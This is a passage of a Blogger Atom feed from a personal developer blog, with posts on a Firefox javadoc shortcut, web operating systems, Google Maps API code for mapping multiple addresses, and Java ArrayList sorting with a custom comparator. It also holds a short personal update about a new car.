verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;and press enter. You will directly go to javadoc page for that class. e.g. javadoc&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;a class="api" href="http://java.sun.com/javase/6/docs/api/java/util/HashMap.html" style="border-bottom-color: rgb(85, 85, 85); border-bottom-style: dotted; border-bottom-width: 1px; color: inherit; text-decoration: none;" target="_new" title="Java API"&gt;HashMap&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;will take you directly to online&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;a class="api" href="http://java.sun.com/javase/6/docs/api/java/util/HashMap.html" style="border-bottom-color: rgb(85, 85, 85); border-bottom-style: dotted; border-bottom-width: 1px; color: inherit; text-decoration: none;" target="_new" title="Java API"&gt;HashMap&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;javadoc API. I was quite surprised and pleased to see this. Normally firefox takes you to the relative sites if you type something in the URL address bar. e.g. typing citibank and entering will take you to citibank homepage. But this little trick is good for&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;a class="faq" href="http://www.javaranch.com/" style="border-bottom-color: rgb(85, 85, 85); border-bottom-style: dotted; border-bottom-width: 1px; color: inherit; text-decoration: none;" target="_new" title="A Friendly Place for Java Greenhorns"&gt;java&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;developers.&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Regards,&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ujjwal Soni&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-1300481424786916389?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/1300481424786916389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=1300481424786916389' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1300481424786916389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1300481424786916389'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/06/reason-why-i-love-using-firefox-brower.html' title='Reason why i love using firefox brower'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-4512659453210985201</id><published>2010-05-21T21:18:00.000-07:00</published><updated>2010-05-21T21:18:17.716-07:00</updated><title type='text'>Finally my car got delivered yesterday</title><content type='html'>Hello Everyone,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally, yesterday..got my new car keys finally. And feeling really gr8. I will upload some pictures soon.&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-4512659453210985201?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/4512659453210985201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=4512659453210985201' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4512659453210985201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4512659453210985201'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/05/finally-my-car-got-delivered-yesterday.html' title='Finally my car got delivered yesterday'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6293834477397043973</id><published>2010-05-21T21:14:00.000-07:00</published><updated>2010-05-21T21:15:42.596-07:00</updated><title type='text'>Web Operating Systems</title><content type='html'>Hello Everyone,&lt;br /&gt;&lt;br /&gt;Last week, i was having a bit research&amp;nbsp; on Web OS's. WebOS gained popularity in 1999 when a much touted start up.”WebOS are  services going to be utilized by thousands of companies – and will power  the next generation of web applications?”&lt;br /&gt;&lt;br /&gt;The following is a list of the most great webOS style system.Enjoy!&lt;br /&gt;&lt;br /&gt;* Eye OS&lt;br /&gt;&lt;br /&gt;eyeOS was thought as a new definition of Operating System, where  everything inside it can be accessed from everywhere in a Network, using  a web browser. eyeOS does provide a solid and stable platform to  develop new applications to fit every company and school needs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://eyeos.com/&lt;br /&gt;&lt;br /&gt;* &lt;b&gt;Fenestela&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Fenestela&lt;/b&gt; is an operating system for WEB space with a  simple and convivial graphic interface.  Code your Web pages,  your  programs, and save your files on line.  Share with your friends your  photographs, family movies, office documents  and more…&lt;br /&gt;&lt;br /&gt;&lt;b style="font-weight: normal;"&gt;http://www.fenestela.com/&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;However, there's long list of these Os's coming up on the way and also many new ones are coming up. &lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6293834477397043973?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6293834477397043973/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6293834477397043973' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6293834477397043973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6293834477397043973'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/05/web-operating-systems.html' title='Web Operating Systems'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-8730937393269964863</id><published>2010-03-26T04:04:00.000-07:00</published><updated>2010-03-26T04:04:51.781-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google Maps API used to map multiple locations.'/><title type='text'>Google Maps API used to map multiple locations.</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;I was recently working on a project where i need to fetch multiple locations used google maps API. I searched a lot and tried many examples but was'nt able to find any appropriate, finally i gone through the documentation of google maps API. I found the solution&lt;br /&gt;&lt;br /&gt;Below is the list where i stored all my addresses&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;var addresses =new Array();&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;addresses[] = '';&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Here's my onload function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function load() {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;if (GBrowserIsCompatible()) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map = new GMap2(document.getElementById("map_canvas"));&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map.setCenter(new GLatLng(10, -180), 13);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map.addControl(new GLargeMapControl());&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map.addControl(new GMapTypeControl());&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;geocoder = new GClientGeocoder();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;GEvent.addListener(map, 'click', function(overlay, point) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; if (point) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; //document.getElementById("show_x").innerHTML = point.x;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; // document.getElementById("show_y").innerHTML = point.y;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; });&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;GEvent.addListener(map, 'zoomend',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; function(oldZoomLevel, newZoomLevel) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; //document.getElementById("zoom_old").innerHTML = oldZoomLevel;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; //document.getElementById("zoom_new").innerHTML = newZoomLevel;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp;});&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;showAddress();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;Here's my show address function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;function showAddress() {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; //alert("address : " + addresses);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;convertToLatLng();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;Here's my&amp;nbsp;convertToLatLng, this function is the core function i used for&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;var points = [];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;function convertToLatLng() {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;if (points.length &amp;gt;= addresses.length) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;showPoints();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;} else {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;geocode(addresses[points.length]);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;My geocode function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;function geocode(address) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;//alert(address);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;geocoder.getLatLng(&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;address,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;function(point) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(!point)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;points.push(point);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;window.setTimeout(convertToLatLng, 300);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map.setCenter(point, 13);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //var marker = new GMarker(point);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; var letters=["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P", "Q","R","S","T","U","V","W","X","Y","Z"];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; var marker=createMarker(point, letters[points.length-1]);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map.addOverlay(marker);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//marker.openInfoWindowHtml(address + "&lt;br /&gt;Long: " + point.x + "&lt;br /&gt;Lati: &amp;nbsp;" + point.y);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//document.getElementById("show_x").innerHTML = point.x;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;//document.getElementById("show_y").innerHTML = point.y;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;//document.getElementById("zoom_new").innerHTML = 14;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;My show points function, this function displays points for each location fetched from the database&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function showPoints() {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;for (i in points) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;var lat_lng = points[i];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if (lat_lng) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;var marker=createMarker(points[i], letters[i]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;map.addOverlay(marker);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//map.addOverlay(new GMarker(lat_lng));&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;I tweaked a bit and created alphabetical markers for the map as below&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;function createMarker(point, letter) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;// use a custom icon with letter A - Z&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;var letter = letter;&lt;br /&gt;var myIcon = new GIcon(G_DEFAULT_ICON, "http://www.google.com/mapfiles/marker" + letter + ".png");&lt;br /&gt;myIcon.printImage = "http://maps.google.com/mapfiles/marker"+letter+"ie.gif";&lt;br /&gt;myIcon.mozPrintImage = "http://maps.google.com/mapfiles/marker"+letter+"ff.gif";&lt;br /&gt;var CallSign = CallSign;&lt;br /&gt;var marker = new GMarker(point, {icon:myIcon});&lt;br /&gt;//GEvent.addListener(marker, "click", function()&lt;br /&gt;//{&lt;br /&gt;//&lt;br /&gt;//// save the info we need to use later for the side_bar&lt;br /&gt;//gmarkers.push(marker)&lt;br /&gt;//// add a line to the side_bar html&lt;br /&gt;//&lt;br /&gt;//&lt;br /&gt;//&lt;br /&gt;//});&lt;br /&gt;return marker;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;This is how i did to display multiple locations on the map.&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;nbsp;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-8730937393269964863?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/8730937393269964863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=8730937393269964863' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8730937393269964863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8730937393269964863'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/03/google-maps-api-used-to-map-multiple.html' title='Google Maps API used to map multiple locations.'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-664581116397387693</id><published>2010-03-26T03:53:00.000-07:00</published><updated>2010-03-26T03:53:44.439-07:00</updated><title type='text'>Array List Sorting Issue</title><content type='html'>Hi,&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Recently, i was coding for an application and came across a problem where i need to sort an ArrayList in an alphabetical order. However, that sounded quite easy as because sorting can easy with single arraylist. But, i was in a situation where i had two different ArrayLists with multiple attributes. So, what i did is that i kept a delimeter to distinct all my 3 values and then i added them into a temporary list.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;for(int j=0;j&lt;mylist.size();j++)&gt;&lt;/mylist.size();j++)&gt;&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;myBean=(MyBean)myList.get(j);&lt;/div&gt;&lt;div&gt;tempList.add(myBean.getOne() + "*" +&amp;nbsp;myBean.getTwo() + "*" +&amp;nbsp;myBean.getThree());&lt;/div&gt;&lt;div&gt;}&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;then i used collection's sort method to sort them up in an alphabetical form.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Collections.sort(tempList,new MyComparator()); &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I used inner class called Mycomparator to compare.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&amp;nbsp;class MyComparator implements Comparator { &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; public int compare(Object o1, &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Object o2) { &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;String s1 = o1.toString().toUpperCase(); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;String s2 = o2.toString().toUpperCase(); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;int counter = 0; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for (counter=0;counter&lt;s1.length() &amp;amp;&amp;amp;="" &amp;nbsp;&amp;nbsp;=""&gt;&lt;/s1.length()&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; !Character.isDigit(s1.charAt(counter));counter++); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;String temp1 = s1.substring(counter); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s1 = s1.substring(0,counter); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for (counter=0;counter&lt;s2.length() &amp;amp;&amp;amp;="" &amp;nbsp;&amp;nbsp;=""&gt;&lt;/s2.length()&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; !Character.isDigit(s2.charAt(counter));counter++); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;String temp2 = s2.substring(counter); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; 